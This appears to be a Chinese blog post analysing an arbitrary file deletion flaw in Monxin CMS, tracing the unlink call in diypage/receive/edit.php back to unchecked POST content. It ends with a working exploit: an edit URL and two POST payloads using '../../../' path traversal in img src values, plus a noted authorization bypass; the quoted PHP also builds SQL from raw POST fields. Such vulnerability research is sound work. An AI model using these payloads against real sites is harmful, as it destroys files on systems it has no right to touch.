zoukankan      html  css  js  c++  java
  • monxin cms 任意文件删除漏洞

    \program\diypage\receive\edit.php
    首先看到一个unlink($path);
    本来应该先看sql语句的,但知道是任意文件删除先跳过
    删除语句,看看$path怎么传入的倒推上去


    1.$path=$v;
    2.foreach($old_imgs as $v)
    3.$old_imgs=get_match_all($reg,$r['content']);




    get_match_all是一个自定义函数
    function get_match_all($reg,$str){
        preg_match_all($reg,$str,$r);
        //var_dump($r);
        return @$r[1];
    }
    preg_match_all是一个全局正则表达匹配函数
    最后就是吧$str中所有匹配$reg的输出到$r数组中然后返回



    返回上面接着看$r['content']是怎么来的
    $r=$pdo->query($sql,2)->fetch(2);
    再结合整个函数来看
    if($pdo->exec($sql)){
            $reg='#<img.*src=&\#34;(program/'.self::$config['class_name'].'/attachd/.*)&\#34;.*>#iU';
            $new_imgs=get_match_all($reg,$_POST['content']);
            //var_dump($new_imgs);
            $old_imgs=get_match_all($reg,$r['content']);
            foreach($old_imgs as $v){
                if(!in_array($v,$new_imgs)){
                    $sql="select count(id) as c from ".self::$table_pre."page where `content` like '%".$v."%' or `phone_content` like '%".$v."%'";
                    $r=$pdo->query($sql,2)->fetch(2);
                    if($r['c']==0){
                        $path=$v;
                        unlink($path);
                        reg_attachd_img("del",self::$config['class_name'],$path,$pdo);
                    }
                }    
            }



    从这两句就很明显这个函数是干嘛了
    foreach($old_imgs as $v){
                if(!in_array($v,$new_imgs)

    就是对旧的content和新的content进行比价把既不在新的content中也不再表中的数据给删了
    但是新的content是POST传入且没有任何限制。所以导致任意文件删除。




    接下来构造payload。这里遇到问题了,因为首先路径没有找对,然后要满足两个条件
    1.新旧content中有不同
    2.table中没有旧的数据。
    然后发现自己之前没有看仔细
    $sql="select count(id) as c from ".self::$table_pre."page where `content` like '%".$v."%' or `phone_content` like '%".$v."%'";
    $v是旧的content遍历传入的这条语句是在表中旧content的数据。
    $sql="update ".self::$table_pre."page set `type`='".$_POST['type']."',`title`='".$_POST['title']."',`content`='".$_POST['content']."',`link`='".$_POST['link']."',`time`='$time',`editor`='$editor' where `id`='$id'";
    这里更新了一次content



    所以整理一下思路就是先传入content,他会更新一次这里已经是新的content(这里填上要删除的目标)
    第一次相当于覆盖原有的content让现在的content成为我们准备删除的目标,这次传入的content对于第二次来说就是久的content
    然后再传入一个既不在现在的content里面的数据也不是表里面的数据,会删除我们上一次传入的目标。



    最后没想到有个越权;看的别人构造的路径http://127.0.0.1/monxin3/receive.php?target=diypage::edit&id=121
    第一次post提交content=<img src="program/diypage/attachd/../../../1.txt" alt="" />
    第二次post提交content=<img src="program/diypage/attachd/../../../sssb.txt" alt="" />
    成功删除


  • 相关阅读:
    4-11
    4-10
    4-9
    4-7
    4-8
    4-6
    4-4
    4-5
    4-3
    4-2
  • 原文地址:https://www.cnblogs.com/wangshuwin/p/7289950.html
Copyright © 2011-2022 走看看